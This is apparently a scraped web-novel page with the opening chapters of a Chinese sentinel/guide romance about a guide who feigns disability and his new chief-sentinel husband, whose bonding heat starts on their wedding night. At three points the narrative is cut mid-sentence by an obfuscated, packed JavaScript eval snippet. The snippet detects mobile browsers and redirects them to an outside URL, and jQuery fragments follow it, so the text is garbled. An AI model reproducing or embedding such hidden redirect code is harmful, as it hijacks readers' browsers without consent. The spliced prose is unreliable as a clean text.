《装残疾后和新任首席哨兵结婚了》 1. 新婚 又一个下雪天。 足有石子那么大的雪花自空中落下,慢悠悠地堆在屋顶。 “队长,就走了吗?财务大臣好像还没露面。”秋霜拿着点心,嘴角还有没吃干净的蛋糕屑,身体却下意识跟着往门口挪。 这是幢立在白塔旁的建筑,在寸土寸金的帝都圈了不小地方,专门用于高级官员宴请。建筑门口挂着灾变前的手工制品,风吹过,就叮叮当当响个不停。 “嗯,”那个坐着轮椅朝门口离开的男人看她一眼,语气平静,“我早就不是你队长了,在帝都要注意些。” 他看上去比脸上还有婴儿肥的秋霜年长不少,过肩黑发束成低马尾,象牙白手套勾勒出分明的指节,礼服虽不是贵族制式,但也修身典雅。 在门口略暗的光影下,那双冰蓝色眼眸格外辽远,似乎蕴含着神秘的能量。 如果没有那件披在肩上的、毛茸茸的大衣,又或者如果他没有坐在轮椅上,想必整个人会看着更精神、更锋锐些。 显而易见,这是一位上过战场、经历过伤病的高级向导。 秋霜反应半拍,偏过头,快速眨着眼睛噢了一声。她还想说些什么,身后却传来哨兵们意味深长的哄笑。 “我说秋医生,别耽误徐向导时间了,他今天结婚呢。” “是嘛,就算一切从简不办婚礼,晚上也总得回家嘛。” “他结婚对象可是今年大会选出来的首席哨兵,首席啊!年轻帅气前途无量。” 秋霜呆了呆。 “怎么,连这都不知道?亏你以前还是徐向导队里的人。” 其中一个哨兵笑了她一句,复将话题拐回来:“估计他哨兵——就那个祝回,早就在家里等他了。”说着,语气表情已经带上某种心照不宣。 哨兵是容易躁动的群体,军队里又最是无聊,平常在军营开惯玩笑的家伙,有时难免分不清场合。 秋霜瞬间涨红了脸,也不知是羞愧还是羞耻:“我、我我不怎么看那个板块的新闻,队……对不起,之前只想着好久没见了……新婚快乐。” “没事,谢谢。”徐寻月神色依旧平静。 他目光扫过面前这位年轻的向导姑娘、以及更后面的几人,微笑:“秋霜还是继续吃饭吧,平时工作可没机会吃到这些。” 秋霜点点头,哨兵却打了个寒战。 突然好冷。 不止是冷,还有一种发自内心的惊惧,仿佛骤然面对了什么恐怖的东西。 好比前一秒还站在陆地上,后一秒却被拖入几千几万米的深海,肺部快要爆炸,即便是哨兵的身体素质,也无法抵抗那种程度水压。 不清楚那是什么东西,它好像存在,又好像不存在,好像靠近了,又好像没有,就像遇上自己从未见过的、不可战胜的灾变生物,他被对方盯住了,于是无力感产生得和水往下流一样自然。 窒息感如潮水涌来,接着猛地褪去,一切快到像是哨兵的幻觉。他抬手护住自己口鼻,疯狂攫取空气,涣散的视线在空中乱晃,某一刻对上徐寻月冰蓝色的眼睛,竟在其中捕捉到一线金光,带着流星坠落的尾巴。 很危险。 徐寻月对上哨兵惶恐的视线,又瞥了眼旁边面露茫然、什么都不知道的秋霜。 “叮——叮——叮——” 风还在吹,门口的挂件还在摇晃。 挂件投下的影子很奇怪,有的向左律动,有的向右律动,还有的呆在原位不动。 【队长……好可惜……好想再做他的队员啊……】 【我要呼吸……那是什么……我快死了吗……】 那些来自他人的、无比浓烈的情绪四处飘荡,徐寻月没故意去听,只是精神力太强,精神体太散,有时难免碰到部分。 并不是每一个向导都有这种能力,恰恰相反,据徐寻月所知,只有他能较为轻松地获得这些信息。这或许和他是攻击型向导有关。 如今人类可分为普通人、向导、哨兵三种,后两者是近几百年才出现的,拥有属于自己的精神体。精神体是战斗中永不背叛的伙伴,在某种程度上能反映人们的潜意识。 哨兵身体素质超群,但精神脆弱,精神体大多性情暴躁;相对的,向导在精神方面有得天独厚的优势,能安抚哨兵,身体素质却不比普通人强多少,他们的精神体一般是性情温顺的生物。 而徐寻月的精神体……很难说是世界上已知的哪一种生物,它由无穷无尽的阴影组成,能汇聚成任何冷兵器的模样,平常就游荡在主人身边。 早年,有人认为它是灾变时期的特殊产物,不过这种说法在徐寻月成名后就消失了。 而现在,在他“双腿残疾”、卸下首席向导的职位之后,同样的一批人开始蠢蠢欲动。 被震慑的哨兵后退两步,硬是在大雪天出了一身汗,他自己都没意识到自己微弓着腰: “徐向导,慢走慢走,新婚快乐。” 【吓死我了……以前的高级向导不是这样啊……这种人进灾变区深处也得废?】 徐寻月表情和之前没什么两样,仿佛什么都没发生,纯粹是哨兵自己出了毛病。 他调转轮椅方向,眼中那抹金色早已不见,取而代之的是原本纯粹的冰蓝,那是灾变区里随处可见的、属于海洋的颜色。 秋霜望着他坐在轮椅上的背影,眼睛又红了,没发现门口挂件的影子开始朝同一个方向律动。 这是帝都时间晚上八点。 雪更大了,而徐寻月将在这种天气里一个人回去。 灾变之前,这种程度的雪能上新闻头条,但灾变之后气温骤降,风雪席卷大地,海水吞没平原,曾经的家园变成冰封的废墟,这种雪天只是家常便饭。 人们称灾变之后的纪元为海神纪,至今十四年,年年只有冬天。 大家都习惯了。 *** “您已按照规划路线抵达终点,请检查是否遗漏随身物品。欢迎回家。” 两个小时后,随着汽车导航的播报声响起,徐寻月到达了自己的居所——一座位于帝都西郊的小庄园。 庄园略显古旧,门口甚至有个喷泉,这种水景只存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306025|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于海神纪前建成的建筑里,因为之后天寒地冻,喷泉只有结冰的份。 新雪旧雪压着石墙,长长的冰棱悬在门廊,徐寻月能从墙外望见里头的三层小楼,楼上窗户黑漆漆的,一点光都没有。 今天之前,徐寻月一个人住,他外出了,楼里自然不会有光。 今天之后…… 徐寻月拿钥匙打开庄园大门。 门口没人。 他的结婚对象今年年末才从哨兵学院毕业,此前不是住学院的哨兵宿舍就是随军住宿,名下没有不动产,本该在今天搬到他这里。 现在是帝都时间晚上十点,在婚约正式履行的当天,徐寻月已经回来得很晚,而“他的哨兵”比他更晚。 这是件不大美妙的事,当事人却扬了扬唇,将庄园大门打开的锁挂在一边。 枯枝敲打着二楼玻璃窗,雪地松软到凹陷,拓出两行孤零零通向小楼的车辙。 徐寻月进屋就脱下了披着的大衣,人坐在轮椅上,却能将衣物稳稳抛上衣帽架。 房里没开灯,光线很暗,他竟不受半点影响,直接摸黑进了厨房。 开火,烧水,随便处理几样蔬菜入锅,文火慢煨。 在向导能力的调节下,整套动作行云流水,细节把握刚刚好,一锅食材简单步骤简单的汤,三刻钟后却白雾凝香。 晚宴上已经吃过,徐寻月只盛了半碗,最开始喝得很慢。 热汤入口,舌尖滚过一丝浑沌的熟悉感,又滑走了。 感受到汤汁给胃部带来的温暖,他端着碗看了会泛着波纹的汤面,喉结微动,将剩下的一饮而尽。 挺好喝的。 徐寻月小的时候,父母经常在他参加某项活动之后给他煲汤,活动类型不限,或许是一次郊游,或许是一次球赛……徐寻月本人深刻怀疑,“给儿子煲汤”只是他那个哨兵母亲为了在厨房玩找的借口。 哨兵五感极其敏锐,这是战斗时的优势,也是某种程度上的劣势,普通人习以为常的存在都是他们的刺激源。哨兵下厨不仅难以把握食物的味道,本就脆弱的味觉嗅觉还容易受伤。 他家一般是向导父亲做饭,但每当徐寻月外出回来,他母亲就会钻进厨房,一边偷吃一边煲汤。父亲虽会帮忙看着,也会调节他母亲的感官体验,却依旧无法挽回汤的质量。 每次都不一样,各有各的难喝。 徐寻月至今没摸清那两个人联合起来的精髓,不过,管他好喝难喝,总归成习惯了。 时间将近十一点。 等他收拾洗漱完毕,慢条斯理地戴回那双手套、披回那件大衣时,在精神力感知范围的边缘,终于出现了属于另一个人的波动。 波动不大,但确实存在,徐寻月隐约感知到一种颇为复杂却并不焦虑的情绪。 阴影无声蔓延出去,和月光下投在雪地上的人影重合。 徐寻月坐电梯到二楼,随手从书架中抽出本书,开灯。 “啪。” 只身走在雪地里的青年脚步一顿。 那幢小楼的窗户,亮了。 2. 结合热 庄园的锁开着,主楼大门安装了智能识别系统,系统连接着徐寻月的个人终端。 即使这里没有管家,第一次到访的人也能顺利和屋主见面。 徐寻月对着手腕上的终端操作几下,刚挑好一首白噪音播放,就收到一楼门外来人的提示。 “先生,有客人拜访您噢^^” 智能识别系统显示了个俏皮的表情,将监控画面传到终端。 高高瘦瘦的哨兵站在门外,戴着战术手套的手微微抬起。他身后是无垠的雪夜,雪花像被撕碎的棉絮簌簌落下,将雪地上的脚印遮掩干净。 雪已经下到这么大了。 哨兵嘴唇动了一下,呼出一口白气,抬手,屈指,按响门铃。 “叮铃铃铃铃……”声音传到徐寻月这边。 恰好一片大得出奇的雪花飞过来,摇摇晃晃地往沾了雪粒的镜头上撞—— 徐寻月打开门锁。 哨兵忽然仰头。 “……” 外面很暗,那双琥珀色眼睛却在夜里格外明亮,像狼的眼睛,冰冷锐利,择人而噬。 隔着屏幕,透过镜头上的雪点,徐寻月知道他在看哪里。 无非是二楼书房窗户下、那个被笼罩在晃动枯枝间的监控。 不知道为什么,哨兵目光似乎停留得有点久。 “吱呀。” 一楼的门被推开,屏幕中的人走出监控范围。 徐寻月听着舒缓的白噪音,那是一种缓慢又充满活力的柴火哔啵声,顺手给书本翻了页。 说起来,这并不是他第一次见祝回。 按照帝国传统,军部所有人都必须参加两年一度的总结大会。帝君将在会议上宣布部分人的晋升,晋升的家伙需按职位依次发言,陈述自己这两年来做了什么,功绩有哪些、不足之处又有哪些,作为表率的同时警示自身。 最近一次大会发生在今年上半年,祝回从此成为“史上最年轻的首席哨兵”。 徐寻月本来是不用去的,毕竟他在那之前就卸去了首席向导的职位,但帝君仍然给他发了邀请。 于是他坐在场馆的最后一排,在人们发言的间隙里和财务大臣时不时聊上几句,询问彼此的近况。 期间,场内响起过许多不同的嗓音,男女老少,属于向导的、属于哨兵的、属于普通人的……徐寻月那时已经“残疾”,对这种活动没什么兴趣,便做出一副恹恹的样子,很少抬眼去看,更别提认真去听。 但他的确注意到了那个属于年轻哨兵的,冷淡、简洁、还有几分不知天高地厚的嗓音: “我所做的、所被夸赞的一切都并不足够,黎明尚在深海与天空的尽头。 “而我所缺憾的,是我或许还能更强,更拼命,为这个纪元做得更多。” 台下掌声雷动。 台上哨兵身高腿长,一身白塔里随处可见的学院制服,硬是穿出了帝国第一军官的感觉。 那时的祝回,是当之无愧的帝国新星,满身功勋毫无污点,即便高傲,也有高傲的资本。这样的年轻人肯拼命做事,旁人又有什么好说的呢? 就算要说,也只会在背后悄悄地说,或者等他犯了错、不那么耀眼之后再说。 “没想到,这个哨兵看上去冷冰冰的,居然也能说出这种话,”财务大臣在祝回走下台时朝徐寻月抒发感慨,“跟你那时候差不多……喔,一晃神,八年就过去了。” 再一晃神,今年也快过完了。 而祝回,也从一个毫无污点的高级哨兵,变成了一个履历不那么完美的高级哨兵。 几个月前,他带领小队执行帝君特别发布的任务,整个小队除他以外,无人生还。 听上去很惨烈,但海神纪的死亡随处可见,进了军队就要做好心理准备,一年到头会发生太多悲剧,这件事放在其中,似乎也不是那么的严重。 何况帝君还什么都没说呢。 祝回没被停职,没被处分,却在几个月后得到了一个莫名其妙、突如其来的婚约。 好事者扬言,如果小队全灭是祝回此生的第一个污点,和徐寻月的婚约就将是第二个,这是变相的惩罚。 谁让两人的匹配度只有60.01%呢? 尽管祝回是迄今为止唯一一个和徐寻月匹配度超过60%的哨兵——这个事实看似浪漫,但没有任何实际意义。 哨兵五感过于敏锐,长年累月的战斗负荷、生活积攒的感官刺激……这些都会给他们造成巨大的精神压力。如果没有及时疏导,哨兵总有一天会走向狂化。 向导和哨兵之间,匹配度在60%以上才能进行精神疏导,而大部分向导和大部分哨兵的匹配度都能有60%多。 这是人类进化的结果,60%多的匹配度不能说明什么,却能进行最简单最基础的精神疏导,方便救助,从而保存力量。至于选择结合的向导哨兵,匹配度一般在70%到80%之间,能上85%的很少见,超过90%更是寥寥无几。 不管怎么说,“匹配度60.01%”、“攻击型向导的精神疏导”……光是这种名词,就足以让每一个哨兵心生嫌隙。 二楼书房的门关着,徐寻月却能听见逐渐鲜明的脚步声。他听出来祝回在上楼,听出来祝回走的是楼梯,他又翻了一页书,从古老的纸张里闻到属于上个纪元的气息。 脚步声更近了。 这个年轻哨兵半点多余的路也不走,直直朝他的方向来。 只有月亮作为光源的楼道里,所有家具的影子都轻轻晃了一下。 房门的金属把手被握住,转动,前推。 一声轻响,黑暗如粘稠的液体,从迅速张开的门缝中淌落下来。 对高级向导而言,视觉是相对迟钝的感官,当视角捕捉到画面的时候,其他渠道早已将信息传递到大脑。徐寻月瞥了眼书本右下角的页码,慢悠悠看向门口。 年轻哨兵脸上没什么表情。 那双在监控见到的琥珀色眼睛依旧凌厉,里面既没有装模作样的假笑,也没有难以抑制的厌恶,却不知道为什么,带着一股刺人的寒意。 他在警惕。 徐寻月从门后的影子里提取到这个信息,但没有更多了,因为警惕,对方没有外露的情绪。 在高级向导面前,情绪波动是最大的破绽,很多人都明白这个道理,做到的却屈指可数。 那么,为什么不是不满、厌烦、惧怕,偏偏是警惕呢? 徐寻月观察着祝回,想看他接下来会做什么,一个白色残影却不知从哪窜了出来。 白影速度极快,祝回尚且站在门口,它就已经几个跃起,扑到距离徐寻月只有一米不到的地方。 雪白的皮毛顺滑泛光,琥珀色眼睛闪闪发亮,蓬松的尾巴正高高竖着,轻轻在身后划出弧线。 是……雪狼。 祝回的精神体? 再看祝回,此时表情也出现了裂痕,和精神体同款色号的眼眸中满是错愕。 他紧皱眉头,薄唇微动似是想说什么,可看了眼徐寻月,又没有说话。 “……” 气氛有些凝滞。 然而,不管二人气氛如何,那匹比自然界同类体型更大、看上去凶狠灵敏的雪狼竟直接在徐寻月跟前坐下了。 它对徐寻月十分好奇,前爪不安分地踩着人工地毯,鼻尖抽动嗅闻空气,仿佛在确认着什么,对身后哨兵在精神领域内的疯狂呼唤置若罔闻。 门外,所有阴影忽然晃动。 门内,雪狼身躯投下的影子里似乎混入了其他东西,黑色骤然深沉很多。 紧接着,那条毛茸茸的白色尾巴以一个不自然的方式往左微勾,就像在被什么东西捉住往左边揪一样。 “?!” 雪狼动了动耳朵尖尖,猛地站起来,看天看地,左顾右盼,最后惊疑不定地望向徐寻月。 祝回下意识往房里走了两步。 雪狼却嗷了一声,坐回原位,还垂下尾巴在自己的影子上扫来扫去。 徐寻月:“……” 纵然他见多识广,早年在军部见到过数不清的哨兵精神体,这回也有些哭笑不得。 没想到祝回的精神体会主动出现,没想到自己的精神体会跃跃欲试。 刚刚的狼嚎声音不大,甚至还有点夹,听着像是在撒娇,而哨兵本人却…… 不、不对。 现在的祝回,和他之前在楼下看到的祝回、在授勋仪式上看到的祝回,都不一样。 仍然是那张脸,眼窝深邃,鼻梁高挺,还有一点哨兵学院年轻学生的凌厉,此刻却脸颊泛红,喉结滚动,胸膛起伏有些明显。 唇瓣微动又紧抿,再很快张开,如此反复,一副呼吸艰难的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306026|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 他的脸红不仅局限在脸庞,还有往脖颈和耳朵蔓延的趋势。 他眼睛也有点红,是那种湿漉漉的红,目光带着丝丝缕缕的焦灼,在空中晃了晃,扫过自己那个被什么东西玩得逐渐乱七八糟还很开心的精神体,定在徐寻月身上。 如果徐寻月不是攻击型向导,如果祝回不是第一个和他匹配度超过60%的哨兵,他在这一刻就该反应过来,眼前是哨兵被引发结合热的征兆。 可惜,他此前只见过人们或钦佩或畏惧的眼神,没见过这样的眼睛,也没有给哨兵做精神疏导的经历。因为不曾运用的缘故,那些少年时期在向导学院学习的、有关结合的专业知识,早就被遗落在记忆深处。 60.01%的匹配度,谁会往结合热上想呢? 思绪闪过不到半刻,祝回又朝他走了两步。 这次他迈步很慢,第一步后顿了一会,似乎在思考自己在做什么,是否真的要这么做,但他还是迈出了第二步。 “……” 没有第三步了。 白毛乱糟糟的雪狼扭过头去看他,嗷嗷呜呜嚷嚷一通,末了没骨头似的往边上一卧,让出徐寻月轮椅前那块黄金位置,像是在向哨兵示意什么,很有指点江山的派头。 【快过来快过来!唉你真是——这个人的精神体、啊不、这个人,他超级好闻的,很适合你!】 【傻站着干什么呀?在演试炼柱吗?朋友,你都快毕业了,怎么还对学院的破柱子情有独钟?那玩意我都不知道弄断几千根了。】 【超级舒服,不信你摸摸,就像我这样,你快去摸他。】 以某种扭曲形态将雪狼捆得四仰八叉的阴影们向主人传递自己捕捉到的情绪。 徐寻月:“……”是谁在摸谁来着? 雪狼可以说是非常非常非常非常——不知道用多少个非常才能恰当形容的激动了,他从来没听到过这样清晰的念头。 不是所有精神体都那么聪明,拥有清晰的思路,要是不清晰,徐寻月就感知不到。 他只能碰到高级向导哨兵精神体的情绪,但和碰到人类的情绪一样,都是断断续续、模模糊糊的。 而眼前这个白白软软暖暖和和——这是阴影的表述——但身长两米的大只雪狼,却是前所未有的思路清晰,堪称话唠。 很难想象,一个看着就寡言的哨兵会拥有这么活泼的精神体。 而且这个精神体似乎还很喜欢自己……自己的精神体。 真稀奇。 刚进军部那会,徐寻月从不隐藏自己的精神体,每逢作战全力以赴,士兵们都清楚他的能力。 时间流逝,最初的同伴一批批死去,活着的人都在升迁,随着徐寻月卸下职位离开待规划区,有关他个人信息的文件,也就慢慢成了高级加密档案。 大多年轻人和没挤进帝国上层的人只知道,那个攻击型向导的精神体是一种很恐怖还看不见的东西。 向强大的未知生物臣服是动物本能,阴影遇到的精神体都比较怕它。 它脾气又不是很好,既然都被当成无恶不作的史前巨兽了,干脆一不做二不休,抓住机会就搞恶作剧,不把对面吓得萎靡三天,是绝对不会善罢甘休的。 眼前这种互动,徐寻月倒是头一回见。 他分神思考半晌要不要让阴影收敛一点,毕竟见面就玩对方精神体这种行为属实过于明目张胆,但看看那匹狼乐在其中的样子,再看看当事人完全在状况之外的样子,就也觉得无伤大雅。 自家精神体难得这么高兴,让它玩去吧。 将怀里的书放在桌上,徐寻月理了理披在肩上的大衣。 轮椅轮子滚过厚厚的人工地毯,没发出一点声音。 眼下情况不仅出乎祝回的预料,也同样在他的意料之外。 他本来就怀疑帝君突然安排婚约的目的,怀疑祝回的背景,怀疑帝君和祝回之间是否有更深更复杂的联系。 祝回不在状态,那很好,便于他掌控局势。 一路走到今天,付出了那么多代价,死了那么多战士,他不可能放过任何未知因素。 尽管他早就把祝回的资料翻了个底朝天,但不够。 这个高级向导决定亲自研究一下,自己新晋合法伴侣的脑子里到底在想些什么。 他最开始看到的警惕,又是因为什么。 3. 本能 “唔……” “砰。” “吱——” 三道声音不大,在沉默到有些死寂的房间里,却格外惹人注意。 又或许是惹狼注意。 只有它被惊得看了过去,琥珀色眼睛在暖光下忽闪忽闪,而二位当事人波澜不惊。 是雪狼理解里的“波澜不惊”。 在它的人类词典里,波澜不惊,就是没有大动作的意思,和静止差不多。它只听见几声闷响,之后世界重归平静,房里唯二的人没发生争执,就像时间定格了一样。 【呼,一切顺利!我的朋友,你摸到他啦?感觉怎么样?】 徐寻月握着哨兵手腕的动作微微一滞。 【你喜欢他吗?喂?喂喂?听得到吗?为什么不回答我?等等,我知道了,你的心跳在加快……他也是。】 徐寻月准备把祝回扒拉下来的手顿住了。 【我最最重要的战友,你现在终于明白向导的好了吗?之前还想当黑暗哨兵,都不顾自己身体的吗?而且,我也是很痛的呀。有向导多好,有向导你就可以天天和他……】 【闭嘴。】 小房间里灯光昏黄,循环播放的白噪音将这里衬得更加安静,呼吸声也更加鲜明。 这是祝回的第一次情绪外露。 里头带着凶狠,带着羞恼,还带着层说不清道不明的不甘。情绪万千,都汇聚在结了冰的两个字里。 徐寻月还没细看,逸散的情绪就被哨兵收回,感知不到了。 他还在防范,也许是下意识的防范。 明明状态不对,却依旧警惕吗? 只是,属于对方的呼吸挠在下颌,灼热,急促,带着轻轻的痒意,让人联想到刚才擦过侧脸的唇。 相同的温度,除了柔软之外,又多了些微粗糙的干燥感,像寒日晨风摩擦皮肤的体验。 徐寻月最开始只想握祝回的手腕。 凡是和精神领域相关的活动,进行条件都十分严格,向导哨兵距离越近,肢体接触越多,成功率就越高。 倒不是非要肢体接触,就算祝回防着他,也可以通过精神攻击突破精神屏障,进入精神世界,挖出对方的情绪、思想、记忆……但那是一种摧毁。 攻击型向导有太多伤害哨兵的途径,相应的,作为一个向导,他深知精神图景受伤对哨兵而言有多痛苦。 不到万不得已,他不会那样做。 至于“万不得已”的标准…… 就看祝回的表现了。 总而言之,徐寻月当时的确只碰了祝回手腕。 接下来的一系列反应却如倾倒的骨诺米牌,从麻烦低效的小面积肢体接触,演变成扰乱思维的大面积肢体接触。 自他指尖触到祝回皮肤的那刻起,对方的泛红程度就再次提升了一个档次,整个人跟熟了似的,而祝回的眼神又很奇怪。 一会直白,一会游移,像是在确认什么,又像是在审视什么。 他长得很像祝回认识的人吗? 与此同时,徐寻月隐约嗅到一股极其清凉的气息。 尽管用“清凉”去形容气味并不准确,他却觉得这个词恰如其分。 那种味道就像他十四岁吃掉的雪,明明已经挑了最干净最蓬松的部分,看着绵软如絮,入口才知道里头的碎冰碴有多扎嘴。等雪好不容易在舌面化开,开始顺着食道滑入胃袋,器官抽搐的感觉又会从腹部返回大脑,直击太阳穴。 太冷,却解渴,起火的嗓子得到救济,活着的感觉麻木却庆幸,以至于多年后再回忆,也不觉得有那么冷了。 可回忆只是回忆,徐寻月了解自己的住所,这里不可能突然出现其它气息。 唯一的变量是祝回。 此时此刻,祝回呼吸抖得厉害,被触碰的那只手绷得死紧,仿佛正处于某个临界点。 徐寻月用精神力感知了下他精神屏障。 意料之外又情理之中,那里依旧严密。 就在局面尚且称得上僵持的时候,祝回突然朝徐寻月踉跄半步,本就不大的距离瞬间缩短。 更让人惊讶的是,他在那一刻好像脱了力,大有往地上跪的架势。 徐寻月不松手的话,要么被他带下去,要么把人扯上来。 应该松手的。 把人扯上来可能会亲密接触,即便有把握控场,即便训练多年的身体远超一般向导,也不该让底细不明的高级哨兵和自己这么近。 万一被祝回伤到,哪怕只伤到头发丝,也是不划算的事。 心头却闪过一丝怪异又自然的悸动,和那种清凉的味道一样隐约,隐约地叫嚣着: 【触摸他,占有他,掌控他。】 【他是你的,他属于你。】 “……” 一念之差。 距离缩减,雪的气息更明显了。 等所有响动停止后,祝回已经被他拽了上来,两条长腿分开跪在座位边缘。 他太配合了,上半身和徐寻月贴得极近,被扣住手腕不挣扎,甚至还用另一只手环住了徐寻月的脖子,脑袋压得很低,呼吸吹得人很不自在。 可就是这样亲密的姿势,他却半跪着,一点没碰到徐寻月的腿。 满意。 反感。 两种情绪同时闪现,以至于徐寻月没在第一时间把人扯开——虽然向导和哨兵的力气不在同一个评价体系里,但祝回搂他脖子只是贴得紧,根本没用力,不至于拉不动。 接着,他听到了雪狼的碎碎念。 再然后,他瞥见祝回投在地毯上的、有些扭曲的影子。 徐寻月:“……”他知道了。 刚才,是自己那个在和雪狼玩耍的精神体偷摸溜过来,拱了祝回一下。 说不定还缠了祝回的靴子,让他难以发力站稳。 怀里的哨兵安安静静,地上的影子犹在乱舞。 似乎是察觉到徐寻月的视线,过了一秒,影子也不动了。 【发现坏人和恶意都可以直接攻击,像这种什么都没做的,不能恶作剧。】徐寻月难得教育自己的精神体。 阴影在精神领域里发出嗷嗷呜呜的奇怪声音,钻进地板溜之大吉。 ……学习新语言的速度还挺快。 多等了几秒,徐寻月将另一只空闲的手按在哨兵肩上。 “不准备起来?” 清凉的气息倏然变浓,仿佛碎雪被风卷起吹来。 徐寻月这才确定,那种气息是祝回身上散发的。 掩藏记忆的泥土被松动,他好像知道自己之前忽略的是什么了。 ……结合热。 结合热是每个向导和哨兵都拥有的生理特性,它会影响思考能力,调动人内心深处的欲望和冲动。 无论哨兵还是向导,都会在结合热时散发出浓烈的气味信息,即信息素。信息素没有具体的味道,更像某些无形但存在的能量波动,便于向导和哨兵建立链接。越契合的伴侣,受到的影响就越大。 雪的气息,属于祝回。 它就是没有味道的,只是徐寻月的记忆为之赋予了独特意义。 温暖的白噪音循环播放着,过了一会,像是才听清徐寻月的话,祝回缓缓直起身,抬头,眼睛湿湿润润的,有些失焦。 徐寻月看了半晌,反应过来自己为什么会在隔着屏幕和祝回对视时想到狼的眼睛。 瞳孔靠下,是典型的上三白眼,当然会像。只是现在不显凶,反而有点可怜。 祝回的状态依旧不对,甚至比之前还要过分,连耳朵都变得湿红。那上面的水迹,是哨兵体温将小雪籽融化的证明。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306027|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的唇倒是干燥,嘴角有一点起皮,或许是来的路上没喝水…… 打住。 徐寻月觉出自己观察方向的偏移,心中掀起一阵风浪,他联想到不久前祝回的样子。 没有特意去看,没有特意去想,注意力却过分地停留了。 现在是帝都时间晚上十一点三十分,一天即将过去,这是他和祝回的第一次正式见面。 年初的大会,他们虽然出现在同一场合,但那里有信息素屏蔽器,这里是他家。 在他家里,在他常待的房间里,再加上近距离接触…… 仅仅这些,就能引发一个和他匹配度只有60.01%哨兵的结合热? 还是这么严重的程度。 人们将应对结合热的措施分为一级结合、二级结合、三级结合共三类。一级结合的范围是所有表面接触,从碰碰手指头尖到拥抱抚摸;二级结合则包括接吻和边缘行为;三级结合就是身体关系。 眼下碰都碰了、抱都抱了,手腕还握着、脖子也搂着,祝回的脸却越来越红。 一级结合显然不够。 尽管不够,却强行镇定,努力与本能对抗,想和危险的向导保持距离。 如果没有精神体搞怪,他或许不会落到这样窘迫的境地。 放在以前,徐寻月不会管处于结合热状态的哨兵,可今时不同往日。 对合法伴侣毫无指望,不代表对匹配度唯一合格的祝回毫无兴趣。 那个瞬间的悸动太耐人寻味。 【他属于你。】 这个时代,怎么可能? 可看上去,又有点像那么回事。 这位年轻、冷厉、战功赫赫的哨兵,此时正满脸通红,思维迟钝,被他主导着。 一个属于他的哨兵。 完全、只属于他吗? 他能对一个被他引发结合热的哨兵做太多,探索、哄骗、诱导……一旦发现些什么—— 希望祝回不是站在他对立面的人。 徐寻月勾了勾唇,翻过祝回戴着黑色半指作战手套的手,指尖沿着橡胶与手掌的缝隙轻轻插入,在灼热的掌心缓慢摩挲。 他也戴了手套,是象牙白的手套,向导的经典款式,能将修长的指节全部包裹。 祝回整条手臂的肌肉都绷紧了,却没有闪躲,只垂眼看向二人相触的手。 脸又红了一点。 室内暖气正盛,柴火哔啵的白噪音更显温暖,雪的气息存在其中,本该让人觉得突兀,却不知为什么,反而驱散了那股由温度和空间封闭带来的昏昏欲睡感。 祝回没能看他们的手太久,因为徐寻月很快就松开了那只作战手套。 橡胶迅速回弹,重新束缚住哨兵线条流畅的手背,发出一道清脆的声响。 而哨兵本人则被徐寻月毫无征兆地捏住下巴,一点一点往下带。他的唇被这个动作逼得微微张开,两个人上半身几乎又要贴在一起。 徐寻月越靠近,祝回就越难以思考,他已经没办法思考了,可浑沌间,却有种被什么盯上、笼罩的感觉。 危险,危险,危险。 他下意识想攻击。 “眼睛闭上。”向导低声命令。 他僵住了。 他的本能开始发话。 不能乱动,向导很脆弱,你的向导还受了伤,双腿残疾。 不能对你的向导出手,不能挣扎。 更何况…… 祝回闭上眼睛。 在模糊而刺激的感官中,他听到一声轻笑,却没看见,那双冰蓝眼眸的颜色更深了些。 像灾变区随时生出漩涡的深海,能将人类拖入其中,吞噬、咀嚼,化为清晨海面的浮沫。 又或者,变成海底城市的冰雕,永远、永远地停留。 4. 深吻 雪片扑簌簌打在玻璃上,发出粘腻细碎的声响。 窗内,泛橙的光线将冷意驱散,微弱而急促的气音在安静中无限放大。 徐寻月再次握住祝回的手,指节卡进指缝像是安抚,掌根却压住了哨兵试图后缩的左膝。 祝回闭着眼睛,被水渍沾湿的睫毛一颤,半晌收紧膝盖,有些别扭地蹭了蹭徐寻月的腰。 不像抗拒,倒像意乱时分的乞求讨好。 祝回觉得自己手心开始出汗,但他没办法冷静,抵在颈侧的尾指仿佛在丈量他的脉搏,他的心跳一览无余。 完全被对方的气息笼罩了。 压迫感与安定感奇异交织,随之而来的,还有一种沉入水中的窒息感。 祝回脑子里忽然冒出了一个极其荒谬的想法。 这个人不会真正伤害他,同样不会因为他的任何反应而停下。 窗外,风声变得黏稠。 白塔研究表明,结合热能将人内心的欲望放大数倍。处于这种状态下的哨兵异常凶恶,不仅比平常易怒,还会更加难以安抚。 徐寻月第一次和结合热的哨兵打交道,就碰到了个例外。 